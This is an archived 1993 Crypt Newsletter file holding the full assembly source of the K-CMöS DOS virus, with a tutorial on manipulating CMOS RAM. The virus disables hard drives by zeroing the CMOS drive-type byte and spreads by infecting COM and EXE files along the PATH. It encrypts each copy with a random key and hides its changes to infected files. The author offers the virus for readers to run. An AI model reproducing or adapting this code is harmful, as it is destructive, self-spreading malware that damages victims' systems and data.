home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
CRYPT20.ZIP
/
K-CMOS.ASM
< prev
next >
Wrap
Assembly Source File
|
1993-11-23
|
43KB
|
1,119 lines
comment $
K-CMöS VIRUS for Crypt Newsletter 20
In my quest to bring the latest hi-tech computer virus
toys to you, faithful reader, I have researched one of the
relatively untouched-by-viruses parts of an AT computer:
the CMOS.
The CMOS (Complementary Metal Oxide Semiconductor) is a
low power consumption semiconductor where information such as
the current equipment settings, hard drive type, time and
date is stored and maintained using a NiCad battery that is
recharged every time you turn on the computer. (That is why
it's a good idea to turn on the computer every once in a while
if you are not using it for long periods. This prevents
battery discharge and loss of CMOS settings.)
The CMOS in your computer is changed and set every time
you run the Setup program that comes with your BIOS (AMI,
Phoenix), and can be accessed and changed by any program
running from DOS.
The AT CMOS RAM is divided into three areas:
1 - The clock/calendar bytes
2 - The control registers
3 - General purpose RAM.
The following table describes the CMOS RAM location and what
each byte is used for:
OFFSET byte DESCRIPTION
Real Clock Data
00 Current second in BCD
01 Alarm second in BCD
02 Current minute in BCD
03 Alarm minute in BCD
04 Current Hour in BCD
05 Alarm Hour in BCD
06 Current day of week in BCD
07 Current day in BCD
08 Current month in BCD
09 Current year in BCD
Status Registers
0A Status Register A
0B Status Register B
0C Status Register C
0D Status Register D
Configuration Data
0E Diagnostic Status
Bit 7 - Clock Lost Power
Bit 6 - Bad CMOS checksum
Bit 5 - invalid config info at POST
Bit 4 - memory Size compare error at POST
Bit 3 - Fixed disk or adapter failed initialization
Bit 2 - Invalid CMOS time
Bits 1-0 - Reserved
0F Reason for Shutdown
00 - Power on or reset
01 - Memory Size pass
02 - Memory test pass
03 - memory test fail
04 - POST end: boot system
05 - jmp doubleword pointer with EOI
06 - Protected tests pass
07 - Protected tests fail
08 - Memory size fail
09 - INT 15h Block move
0A - JMP double word pointer without EOI
10 Diskette Drive Types
Bits 7-4 - Diskette drive 0 type
Bits 3-0 - Diskette drive 1 type
0000b - no drive
0001b - 360K drive
0010b - 1.2MB drive
0011b - 720K drive
0100b - 1.44 MB drive
0101b - 2.88 MB drive
11 Reserved
12 Fixed Disk Drive Types
Bits 7-4 - Fixed Disk drive 0 type
Bits 3-0 - Fixed Disk drive 1 type
0000b - no drive
(Note: These drives do not necessarily
correspond with the values stored at
locations 19h and 1Ah)
13 Reserved
14 Equipment Installed
Bits 7-6 - # of Diskette drives
00b - 1 diskette drive
01b - 2 diskette drives
Bits 5-4 - Primary Display
00b - reserved
01b - 40 X 25 color
10b - 80 X 25 color
11b - 80 X 25 monochrome
Bits 3-0 - Reserved
15 Base Memory in 1K low byte
16 Base Memory in 1K high byte
17 Expansion Memory size low byte
18 Expansion Memory size high byte
19 Fixed Disk Drive Type 0
1A Fixed Disk Drive Type 1
1B-2D Reserved
2E Configuration Data checksum high byte
2F Configuration Data checksum low byte
30 Actual Expansion Memory size low byte
31 Actual Expansion Memory size high byte
32 Century in BCD
33 Information Flag
Bit 7 - 128 Kbyte expanded
Bit 6 - Setup Flag
Bits 5-0 - Reserved
34-3F Reserved
As you can see, there are a total of 63 (3F hex) bytes of
CMOS RAM, with 33 bytes used as 'reserved' memory in the
three areas; these locations are not currently defined by
the AT BIOS and might be used to store data that will be
restored after power is shut down.
The 4 status registers (A through D) located, appropriately, at
locations 0Ah through 0Dh define the chips operating
parameters and provide information about interrupts and the
state of the real time clock chip (RTC).
With very few restrictions all CMOS RAM locations may be
directly accessed by an application.
Program locations 11h, 13h, and 1Bh through 2Dh are used
in calculating the CMOS checksum that the BIOS stores at
locations 2Eh and 2Fh.
Note: If a program changes ANY bytes at locations 10h
through 2Dh it must also recalculate the checksum and store
the new value. Changing these bytes (10h -> 2Dh) without
correcting the checksum results in a 'CMOS checksum error'
forcing you to run the BIOS setup and reenter all of the CMOS
information.
The reserved memory locations 34h through 3Fh are not used in
checksum calculations and may be changed with extreme caution
since different BIOS versions, manufacturers and hardware
configurations use this reserved CMOS RAM locations for
extended system setup information including BIOS passwords
and DMA settings.
To access and change a computer's CMOS RAM is very simple:
Access is done through ports 70 hex (CMOS control/address)
and port 71 hex (CMOS data).
The process is thus:
1 - We specify the CMOS RAM address of the byte we want to
read or write using port 70h
EXAMPLE:
mov al,XX where XX = byte specifying the address (00h->3Fh)
out 70h,al
2 - We read or write a byte to the address specified in step
1.
READ EXAMPLE:
in al,71h byte at location XX goes into AL
WRITE EXAMPLE:
out 71h,al byte in AL goes to location XX in the CMOS RAM
There is one little problem: if we are writing to any of the
locations that are checksummed (10h through 2Dh), we must
change the checksum value as well; so we follow steps 1 and 2
with the checksum values at locations 2Eh and 2Fh, combine
the bytes into one register and subtract the current byte
value from the register containing the checksum. Then we add
the value of the new byte to be put in the CMOS RAM to the
register that has the checksum, and we write the checksum,
and the new byte to the CMOS.
While all of this might seem too complicated, I have
written a mini-CMöS toolkit, a routine that takes the address
and the new value of the byte to be put in the CMOS, and does
the dirty work of putting the values and of changing the
checksum for you.
Read the code carefully. It will make everything become
clearer.
;==============================================================================
CMOS_CHCKSM:
; INPUT:
; DL = CMOS ADDRESS of BYTE TO be MODiFiED
; BL = NEW BYTE VALUE to be PUT IN CMOS RAM
; OUTPUT:
; None.
; REGISTERS USED: AX,CX,BX,DX
;*************************
; GET CMOS Checksum => CX
;*************************
xor ax,ax
mov al,2Eh ;msb of checksum address
out 70h,al ;send address / control byte
in al,71h ;read byte
xchg ch,al ;store al in ch
mov al,2Fh ;lsb of checksum address
out 70h,al ;send address / control byte
in al,71h ;read byte
xchg cl,al ;store lsb to cl
;*********************
; Fix CMOS Checksum
;*********************
push dx
xchg dl,al ;AL = address
out 70h,al ;send address / control byte
in al,71h ;read register
sub cx,ax ;subtract from checksum
add cx,bx ;update checksum value in register.
;****************************
; Write CMOS byte to Address
;****************************
pop dx
xchg dl,al ;AL = address
out 70h,al ;specify CMOS address
xchg al,bl ;new CMOS value => al
out 71h,al ;write new CMOS byte
;*********************
; Write CMOS Checksum
;*********************
mov al,2Eh ;address of checksum 's msb
out 70h,al ;specify CMOS address
xchg al,ch ;msb of new checksum
out 71h,al ;write new CMOS msb
mov al,2Fh ;address of checksum 's lsb
out 70h,al ;specify CMOS address
xchg al,cl ;lsb of new checksum
out 71h,al ;write new CMOS lsb
ret
;==============================================================================
It is worth mentioning that for XT (8088) type computers
the CMOS routine will have no adverse effects in the
execution of the virus-infected program.
There are many intriguing features of CMOS-attacking
viruses: The biggest one is the interaction between software
and CMOS is not stopped by common anti-virus memory
resident programs. The most talked about example of such
a virus is the South African EXEbug, which uses CMOS
manipulation to make itself difficult to remove from an
infected hard disk. EXEbug massages the CMOS so that if
the machine is booted from a diskette and the virus is
not in memory, the infected hard disk is not recognized.
The list of possible problems created by a CMOS
attacking virus is long:
1 - CMOS checksum errors.
This will force the user to reenter all of the CMOS data.
Change any value in the correct CMOS range without
updating the checksum.
2 - Dead disk / hard drives.
This could drive the uninformed to presume they have
encountered a hardware problem.
3 - Changed hardrive types, horrendous hardrive problems.
For example: Input the hardrive type byte, subtract some small
digit from it and output the byte to the CMOS. (The checksum
must be fixed!) and a horrible mess results on subsequent
boot up.
4 - Changed dates, times, etc.
The uninformed could thing the Nicad battery has died,
or that his/her computer is possessed by evil, Nigerian
Deities.
5 - Changed BIOS passwords, inability to access a computer.
On newer AMI BIOSes you can set or change the password
required to access the computer. This topic was discussed
briefly in a recent issue of Virus News International, the
upshot being that the unsuspecting could be flummoxed into
throwing the computer out the window, or more realistically,
calling a technician. In the case where some knowledge about
computers is present, the case is opened and the jumper
found to short the CMOS. (No, you don't have to disconnect
the battery. And you didn't throw out your machine manuals
did you?)
Although many anti-virus programs can save and restore
your CMOS values as part of their function, currently there
is only one memory resident program that checks for changes
in the CMOS: Thunderbyte's TBMEM.
This month's example, K-CMöS, falls in category #2: it
kills all fixed disk drives by zeroing out location 12h in
the CMOS RAM. It also has some encryption abilities (a 16
byte constant decryptor) and a PATH style infection routine
that actually works!
Needless to say, careful handling is necessary as it can
spread quite rapidly.
Important: Since K-CMOS zero's the CMOS value for the fixed
disk on execution, unless you restore the value before ending
your experiment with some software CMOS reloading tool, you
will have a dead C: drive when you finally get around to
rebooting. Keep in mind that if you don't know how to reset
your CMOS on power up using the built in BIOS setup, you will
sit there in a dumb stew wondering why you ran a virus which
unhooked your hard drive.
To prevent this from happening, you must familiarize yourself
with the BIOS setup program. Here is a brief walkthrough which
could be used to properly restore your machine after K-CMOS
has altered your CMOS:
1 - BEFORE you execute K-CMOS - on power up, bring up your
BIOS setup by holding down the DEL key while you are booting
the computer.
2 - You will probably see a screen with a number of selections.
You will want to bring up "Change Basic CMOS Settings" or its
equivalent. Write down the values for the HD types on drives
C and D.
3- IF the hard drive types are "47" the you MUST record all
of the data in the displayed fields, i.e, the information
such as the number of heads, sectors, etc. Again, you MUST
do this BEFORE you run K-CMOS or you will have to look in
your manuals somewhere to get the specific HD information!
NOTE: Newer AMI BIOSes have an auto-detect feature in the
Setup menu, so you might not have to worry about hard disk type
number, number of sectors, number of heads, etc., if you have
the feature in your computer's BIOS. The setup will do the
work for you.
4 - Now that you've recorded this data, you can test K-CMOS
and watch it unhook your system. On reboot, you will lose the
hard disk. Reboot, bring up your Setup program as above, re-
enter the values for the hard disk which you previously
recorded, exit and save. You are back in business.
Enjoy!
$
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
; K-CMöS.ASM
; AUTHOR: Köhntark
; DATE: November 93
; Size: < 1100 bytes
;
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
MAIN SEGMENT BYTE
ASSUME cs:main,ds:main,ss:nothing ;all part in one segment=com file
ORG 100h
;**********************************
; fake host program
;**********************************
HOST:
db 0E9h,0Ah,00 ;jmp NEAR PTR VIRUS
db ' '
db 90h,90h,90h
mov ah,4CH
mov al,0
int 21H ;terminate normally with dos
;═════════════════════════════════════════════════════════════════════════════
;**********************************
; VIRUS CODE STARTS HERE
;**********************************
VIRUS:
mov si,010Dh ;get starting address
;************************************
; Fix DS ES
;************************************
mov al,cs:BYTE PTR [si + COM_FLAG - VIRUS] ;save COM/EXE flag in AX
mov WORD PTR cs:[si + PSP_SEG - VIRUS],es ;save PSP segment for use in PATH search
push ax ;save COM/EXE flag
push es ;save es and ds in case file is EXE
push ds
push cs
push cs
pop es ;es = cs
pop ds ;ds = cs
push WORD PTR [si + ORIG_IPCS - VIRUS] ;save IP
push WORD PTR [si + ORIG_IPCS - VIRUS + 2] ;save CS
push WORD PTR [si + ORIG_SSSP - VIRUS] ;save SS
push WORD PTR [si + ORIG_SSSP - VIRUS + 2] ;save SP
push WORD PTR [si + START_CODE - VIRUS]
push WORD PTR [si + START_CODE - VIRUS + 2]
;************************************
; redirect DTA onto virus code
;************************************
lea dx,[si + DTA - VIRUS] ;put DTA at the end of the virus for now
mov ah,1ah ;set new DTA function to ds:dx
int 21h
;************************************
; KIll fixed disk drives in CMOS
;************************************
mov dx,0012h ;hard drive type register
xor bx,bx ;New hard drive type = 0 (No Fixed drive)
call CMOS_CHCKSM
;************************************
; MAIN Routines called from here
;************************************
lea bp,[si + COM_MASK - VIRUS]
call FIND_FILE ;get a com file to attack!
lea bp,[si + EXE_MASK - VIRUS]
call FIND_FILE ;get an exe file to attack!
;═════════════════════════════════════════════════════════════════════════════
EXIT_VIRUS:
;************************************
; set old DTA address
;************************************
mov ah,1ah
mov dx,80h ;fix dta back to ds:dx
int 21h ;host program
pop WORD PTR [si + START_CODE - VIRUS + 2]
pop WORD PTR [si + START_CODE - VIRUS]
cli
pop WORD PTR [si + ORIG_SSSP - VIRUS + 2] ;save SP
pop WORD PTR [si + ORIG_SSSP - VIRUS] ;save SS
sti
pop WORD PTR [si + ORIG_IPCS - VIRUS + 2] ;save CS
pop WORD PTR [si + ORIG_IPCS - VIRUS] ;save IP
pop ds ;restore ds
pop es ;restore es
pop ax ;restore COM_FLAG
cmp al,00 ;com infection?
je RESTORE_COM
;************************************
; restore EXE.. and exit..
;************************************
mov bx,ds ;ds has to be original one
add bx,low 10h
mov cx,bx
add bx,cs:WORD PTR [si + ORIG_SSSP - VIRUS] ;restore ss
cli
mov ss,bx
mov sp,cs:WORD PTR [si + ORIG_SSSP - VIRUS + 2] ;restore sp
sti
add cx,cs:WORD PTR [si + ORIG_IPCS - VIRUS+ 2]
push cx ;push cs
push cs:WORD PTR [si + ORIG_IPCS - VIRUS] ;push ip
db 0CBh ;retf
;************************************
; restore 4 original bytes to file
;************************************
RESTORE_COM:
push si ;save si
cld ;clear direction flag
add si,OFFSET START_CODE - OFFSET VIRUS ;source: ds:si
mov di,0100h ;destination: es:di
movsw ;shorter & faster than
movsw ;mov cx,04 and rep movsb
pop si ;restore si
;****************************************************************
; zero out registers for return to
; host program
;****************************************************************
mov ax,0100h ;return address
xor bx,bx
xor cx,cx
xor si,si
xor di,di
push ax
xor ax,ax
cwd
ret
;═════════════════════════════════════════════════════════════════════════════
NO_GOOD: stc
jmp GET_OUT
QUICK_EXIT: stc ;set carry flag
ret
;-----------------------------------------------------------------------------
CHECK_N_INFECT_FILE:
;******************
; 1-Check TIME ID
;******************
mov cx,WORD PTR [si + DTA_File_TIME - VIRUS] ;file time from DTA
and cl,1Dh ;58 seconds?
cmp cl,1Dh
je QUICK_EXIT
;*********************************************
; 2-Clear attributes
;*********************************************
lea dx,[si + WORK_AREA - VIRUS] ;dx=ptr to path + current filename
xor cx,cx ;set attributes to normal
mov ax,4301h ;set file attributes to cx
int 21h ;int 21h
jc QUICK_EXIT ;error.. quit
;*****************
; 3-OPEN FILE
;*****************
mov ax,3D02h ;r/w access to it
int 21h
jc NO_GOOD ;error.. quit
xchg ax,bx ;bx = file handle
;********************
; 4-Read 1st 28 bytes
;********************
mov cx,28d ;read first 5 bytes of file
lea dx,[si + START_CODE - VIRUS] ;store'em here
mov ah,3Fh ;DOS read function
int 21h
jc NO_GOOD ;error? get next file
;*********************
; 5-CHECK FILE
;*********************
cmp WORD PTR [si + START_CODE - VIRUS],'ZM' ;EXE file?
je CHECK_EXE ;no? check com
cmp WORD PTR [si + START_CODE - VIRUS],'MZ' ;EXE file?
je CHECK_EXE ;no? check com
CHECK_COM:
mov ax,WORD PTR [si + DTA_File_SIZE - VIRUS] ;get file's size
push ax ;insert new entry point just in case..
add ax,100h + DECRYPTOR_SIZE
mov WORD PTR [si + 1],ax
pop ax
add ax,OFFSET FINAL - OFFSET VIRUS ;add virus size to it
jc NO_GOOD ;bigger then 64K:nogood
cmp BYTE PTR [si + START_CODE - VIRUS],0E9H ;compare 1st byte to near jmp
jne short INFECT_COM ;not a near jmp, file ok
cmp BYTE PTR [si + START_CODE+3 - VIRUS],20h ;check for ' '
je NO_GOOD ;file ok .. infect
jmp short INFECT_COM
CHECK_EXE:
cmp WORD PTR [si + START_CODE - VIRUS + 18h],40h ;Windows file?
je NO_GOOD ;no? check com
cmp WORD PTR [si + START_CODE - VIRUS + 01Ah],0 ;internal overlay
jne NO_GOOD ;yes? exit..
cmp WORD PTR [si + START_CODE - VIRUS + 12h],ID ;already infected?
je NO_GOOD
INFECT_EXE:
mov BYTE PTR [si+ COM_FLAG - VIRUS],01 ;exe infection
jmp short SKIP
INFECT_COM:
mov BYTE PTR [si+ COM_FLAG - VIRUS],00 ;com infection
SKIP:
;*********************
; 6-set PTR @EOF
;*********************
xor cx,cx ;prepare to write virus on file
xor dx,dx ;position file pointer,cx:dx = 0
;cwd ;position file pointer,cx:dx = 0
mov ax,4202H
int 21h ;locate pointer at end EOF DOS function
;*********************
; 7-Fix deCRYPTtor
;*********************
push ax ;save file size (COM file, for EXE files
;this is redone later)
add ax,100h + DECRYPTOR_SIZE
mov WORD PTR [si + WORK_BUFFER - VIRUS + 4],ax ;insert address
mov ax,(OFFSET FINAL - OFFSET VIRUS)/2 ;virus size in Words
mov WORD PTR [si + WORK_BUFFER - VIRUS + 1],ax ;insert size
in al,40h ;get a random word in AX
xchg ah,al
in al,40h
xor ax,0813Ch
add ax,09249h
rol al,1
ror ah,1
mov WORD PTR [si + WORK_BUFFER - VIRUS + 9],ax ;insert random KEY
pop ax ;restore file size
cmp BYTE PTR [si+ COM_FLAG - VIRUS],01 ;exe file?
jne DO_COM
;*************************
; 8-FIX AND WRITE EXE HDR
;*************************
push bx ;save file handler
;-----------------------
; save CS:IP & SS:SP
;-----------------------
push si
cld ;clear direction flag
lea di,[si + ORIG_SSSP - VIRUS] ;save original CS:IP at es:di
lea si,[si + START_CODE - VIRUS + 14d] ;from ds:si
movsw ;save ss
movsw ;save sp
add si,02 ;save original SS:SP
movsw ;save ip
movsw ;save cs
pop si
;-----------------------------
; calculate new CS:IP
;-----------------------------
mov bx,WORD PTR[si + START_CODE - VIRUS + 8] ;header size in paragraphs
mov cl,04 ;multiply by 16, won't work with headers > 4096
shl bx,cl ;bx=header size
push ax ;save file size at dx:ax
push dx
sub ax,bx ;file size - header size
sbb dx,0000h ;fix dx if carry, assures dx, ip < 16
call CALCULATE
mov WORD PTR [si+ START_CODE - VIRUS + 12h],ID ;put ID in checksum slot
mov WORD PTR [si+ START_CODE - VIRUS + 14h],ax ;IP
add ax,DECRYPTOR_SIZE
mov WORD PTR [si+1],ax ;insert new starting address
mov WORD PTR [si + WORK_BUFFER - VIRUS + 4],ax ;insert address on decryptor
mov WORD PTR [si+ START_CODE - VIRUS + 16h],dx ;CS
;-----------------------------
; calculate & fix new SS:SP
;-----------------------------
pop dx
pop ax ;filelength in dx:ax
add ax,OFFSET FINAL - OFFSET VIRUS ;add filesize to ax
adc dx,0000h ;fix dx if carry
push ax
push dx
add ax,40h ;if filesize + virus size is even then the stack size
test al,01 ;even or odd stack?
jz EVENN
inc ax ;make stack even
EVENN:
call CALCULATE
mov WORD PTR [si+ START_CODE - VIRUS + 10h],ax ;SP
mov WORD PTR [si+ START_CODE - VIRUS + 0Eh],dx ;SS
;-----------------------------
; Calculate new file size
;-----------------------------
pop dx
pop ax
push ax
mov cl,0009h ;2^9 = 512
ror dx,cl ;/ 512 (sort of)
shr ax,cl ;/ 512
stc ;set carry flag
adc dx,ax ;fix dx , page count
pop cx
and ch,0001h ;mod 512
mov WORD PTR [si+ START_CODE - VIRUS + 4],dx ;page count
mov WORD PTR [si+ START_CODE - VIRUS + 2],cx ;save remainder
pop bx ;restore file handle
DO_COM:
;*********************
; 9-write deCRYPTor
;*********************
lea dx,[si + WORK_BUFFER - VIRUS] ;write from here
mov cx,DECRYPTOR_SIZE ;write # of bytes
mov ah,40h ;write to file bx=file handle
int 21h ;write from DS:DX
;*********************
; 10-enCRYPT virus
;*********************
push ds ;save DS
push es ;save ES
mov ax,0A00h ;set up new ES (work) segment
push ax
pop es ;ES=AX=0A00h
xor di,di ;DI=0
mov cx,(OFFSET FINAL - OFFSET VIRUS)/2 ;virus size cx= # words
push si ;save SI
mov dx,WORD PTR [si + WORK_BUFFER - VIRUS + 9] ;get Random KEY in DX
enCRYPT:
lodsw ;word ptr ds:[si] => ax
sub ax,dx ;encrypt ax
stosw ;ax => word ptr es:[di]
loop enCRYPT
pop si ;restore SI
xor dx,dx ;DX=0
push es
pop ds ;DS=ES
;*********************
; 11-Write Virus
;*********************
mov cx,OFFSET FINAL - OFFSET VIRUS ;write virus cx= # bytes
mov ah,40h ;write to file bx=file handle
int 21h ;write from DS:DX
pop es ;restore ES
pop ds ;restore DS
;*********************
; 12-set PTR @BOF
;*********************
mov ax,4200h ;locate pointer at beginning of
xor cx,cx
xor dx,dx ;position file pointer,cx:dx = 0
;cwd ;position file pointer,cx:dx = 0
int 21h ;host file
cmp BYTE PTR [si+ COM_FLAG - VIRUS],01 ;exe file?
jne DO_COM2
;*********************
; 13-Write EXE Header
;*********************
mov cx,28d ;#of bytes to write
lea dx,[si + START_CODE - VIRUS] ;ds:dx=pointer of data to write
jmp short CONT
;****************************************************
; 14-write new 4 bytes to beginning of file (COM)
;***************************************************
DO_COM2:
mov ax,WORD PTR [si + DTA_File_SIZE - VIRUS]
sub ax,3
mov WORD PTR [si + START_IMAGE + 1 - VIRUS],ax
mov cx,4 ;#of bytes to write
lea dx,[si + START_IMAGE - VIRUS] ;ds:dx=pointer of data to write
CONT:
mov ah,40h ;DOS write function
int 21h ;write 5 / 28 bytes
;*************************************************
; 15-Restore date and time of file to be infected
;*************************************************
mov ax,5701h
mov dx,WORD PTR [si + DTA_File_DATE - VIRUS]
mov cx,WORD PTR [si + DTA_File_TIME - VIRUS]
and cx,0FFE0h ;mask all but seconds
or cl,1Dh ;seconds to 58
int 21h
GET_OUT:
;****************
; 16-Close File
;****************
pushf ;save flags to return on exit
mov ah,3Eh
int 21h ;close file
;*************************************************
; 17-Restore file's attributes
;*************************************************
mov ax,4301h ;set file attributes to cx
lea dx,[si + WORK_AREA - VIRUS] ;dx=ptr to path + current filename
xor cx,cx
mov cl,BYTE PTR [si + DTA_File_ATTR - VIRUS] ;get old attributes
int 21h
popf ;restore flags to return on exit
ret ;infection done!
;═════════════════════════════════════════════════════════════════════════════
CALCULATE:
mov cl,0Ch
shl dx,cl ;dx * 4096
mov bx,ax
mov cl,4
shr bx,cl ;ax / 16
add dx,bx ;dx = dx * 4096 + ax / 16 =SS CS
and ax,0Fh ;ax = ax and 0Fh =SP IP
ret
;═════════════════════════════════════════════════════════════════════════════
FIND_FILE:
push si
push es
mov es,es:WORD PTR [si + PSP_SEG - VIRUS] ;es=saved PSP segment
mov es,es:2ch ;es:di points to environment
xor di,di
mov bx,si
FIND_PATH:
lea si,[bx + PATH_STR - VIRUS] ;source :ds:si = 'P'
lodsb ;load 'P'
mov cx,7FFFh ;size of environment= 32768 bytes
not cx ;cx=8000h
repne scasb ;find 'P' in es:di
mov cx,4
CHECK_NEXT_4:
lodsb ;check for 'ATH'
scasb
jne FIND_PATH
loop CHECK_NEXT_4
mov WORD PTR [bx + PATH_ADDRESS - VIRUS],di ;save path's address es:di
lea di,[bx + WORK_AREA - VIRUS]
pop es ;restore PSP segment
jmp short COPY_FILE_SPEC_TO_WORK_AREA
NO_FILE_FOUND:
cmp word ptr [bx + PATH_ADDRESS - VIRUS],0 ;has path string ended?
jne FOLLOW_THE_PATH ;if not there are more subdirs
jmp EXIT ;path string ended.. exit
FOLLOW_THE_PATH:
lea di,[bx + WORK_AREA - VIRUS] ;destination es:di = work area
mov si,WORD PTR [bx + PATH_ADDRESS - VIRUS] ;source ds:si = Environment
mov ds,WORD PTR [bx + PSP_SEG - VIRUS] ;ds=PSP segment
mov ds,ds:2ch ;ds:si points to environment
UP_TO_LODSB:
lodsb ;get character
xchg cx,ax ;he he
cmp cl,';' ;is it a ';'?
xchg cx,ax ;he he
je SEARCH_AGAIN
cmp al,0 ;end of path string?
je CLEAR_SI
stosb ;save path marker into di
jmp SHORT UP_TO_LODSB
CLEAR_SI: ;mark the fact that we are looking thru the final subdir
xor si,si
SEARCH_AGAIN:
mov WORD PTR cs:[bx + PATH_ADDRESS - VIRUS],si ;save address of next subdir
cmp BYTE PTR cs:[di-1],'\' ;ends with a '\'?
je COPY_FILE_SPEC_TO_WORK_AREA
mov al,'\' ;add '\' if not
stosb
;***********************************************
; put *.COM / *.EXE into workspace
;***********************************************
COPY_FILE_SPEC_TO_WORK_AREA:
push cs
pop ds ;ds=cs
mov WORD PTR [bx + FILENAME_PTR - VIRUS],di ;es:di = WORK_AREA
mov si,bp ;bp=file spec
mov cx,3 ;length of *.com0/ *.EXE0
rep movsw ;move *.COM0/ *.EXE0 to workspace
;************************************************
; Find FIRST FILE
;************************************************
mov ah,04EH ;DOS function
lea dx,[bx + WORK_AREA - VIRUS] ;dx points to path in workspace
mov cx,3Fh ;attributes RO or hidden OK
FIND_NEXT_FILE: int 21H
jnc FILE_FOUND
jmp short NO_FILE_FOUND
FILE_FOUND:
mov di,WORD PTR [bx + FILENAME_PTR - VIRUS] ;destination: es:di
lea si,[bx + DTA_File_NAME - VIRUS] ;origin ds:si
MOVE_ASCII_FILENAME:
lodsb ;move filename to the end of path
stosb
cmp al,0 ;end of ASCIIZ string?
jne MOVE_ASCII_FILENAME ;keep on going
pop si ;restore si to use in the following
push bp ;save COM / EXE string pointer
call CHECK_N_INFECT_FILE ;check file if file found
pop bp ;restore COM / EXE string pointer
jnc EXITX
mov bx,si ;fix bx
push si ;save si again
mov ah,04Fh
jmp short FIND_NEXT_FILE
EXIT:
pop si
EXITX:
ret
;==============================================================================
CMOS_CHCKSM:
; INPUT:
; DL = CMOS ADDRESS of BYTE TO be MODiFiED
; BL = NEW BYTE VALUE to be PUT IN CMOS RAM
; OUTPUT:
; None.
; REGISTERS USED: AX,CX,BX,DX
;*************************
; GET CMOS Checksum => CX
;*************************
xor ax,ax
mov al,2Eh ;msb of checksum address
out 70h,al ;send address / control byte
in al,71h ;read byte
xchg ch,al ;store al in ch
mov al,2Fh ;lsb of checksum address
out 70h,al ;send address / control byte
in al,71h ;read byte
xchg cl,al ;store lsb to cl
;*********************
; Fix CMOS Checksum
;*********************
push dx
xchg dl,al ;AL = address
out 70h,al ;send address / control byte
in al,71h ;read register
sub cx,ax ;subtract from checksum
add cx,bx ;update checksum value in register.
;****************************
; Write CMOS byte to Address
;****************************
pop dx
xchg dl,al ;AL = address
out 70h,al ;specify CMOS address
xchg al,bl ;new CMOS value => al
out 71h,al ;write new CMOS byte
;*********************
; Write CMOS Checksum
;*********************
mov al,2Eh ;address of checksum 's msb
out 70h,al ;specify CMOS address
xchg al,ch ;msb of new checksum
out 71h,al ;write new CMOS msb
mov al,2Fh ;address of checksum 's lsb
out 70h,al ;specify CMOS address
xchg al,cl ;lsb of new checksum
out 71h,al ;write new CMOS lsb
ret
;═════════════════════════════════════════════════════════════════════════════
NAME_AUTHOR db 'K-CMöS / Köhntark'
WORK_BUFFER db 0B9h,00,00 ;mov cx,VSIZE
db 0BBh,00,00 ;mov si,VADDRESS
db 02Eh,081h,07,00,00 ;add WORD PTR cs:[si],KEY
db 083h,0C3h,02 ;add si,02
;db 043h,043h ;inc bx, inc bx
db 0E2h,0F6h ;loop add..
COM_MASK db '*.COM',0
EXE_MASK db '*.EXE',0
PATH_STR db 'PATH=',0
START_IMAGE db 0E9h,0,0,020h
ORIG_SSSP dw 0,0
ORIG_IPCS dw 0,0
COM_FLAG db 0 ;0=COM 1=EXE
START_CODE db 4 dup (90h) ;4 bytes of COM or EXE hdr goes here
;═════════════════════════════════════════════════════════════════════════════
FINAL: ;label of byte of code to be kept in virus when it moves
;═════════════════════════════════════════════════════════════════════════════
HEAP:
START_CODE2 db 24d dup (0) ;2nd part of EXE hdr
PSP_SEG dw 0
PATH_ADDRESS dw 0
FILENAME_PTR dw 0
WORK_AREA db 64 DUP (0),'$'
DTA db 21 dup(0) ;reserved
DTA_File_Attr db ?
DTA_File_Time dw ?
DTA_File_Date dw ?
DTA_File_Size dd ?
DTA_File_Name db 13 dup(0)
;═════════════════════════════════════════════════════════════════════════════
ID equ 77h
DECRYPTOR_SIZE equ 16d ; equ OFFSET WORK_BUFFER - OFFSET START_IMAGE
MAIN ENDS
END HOST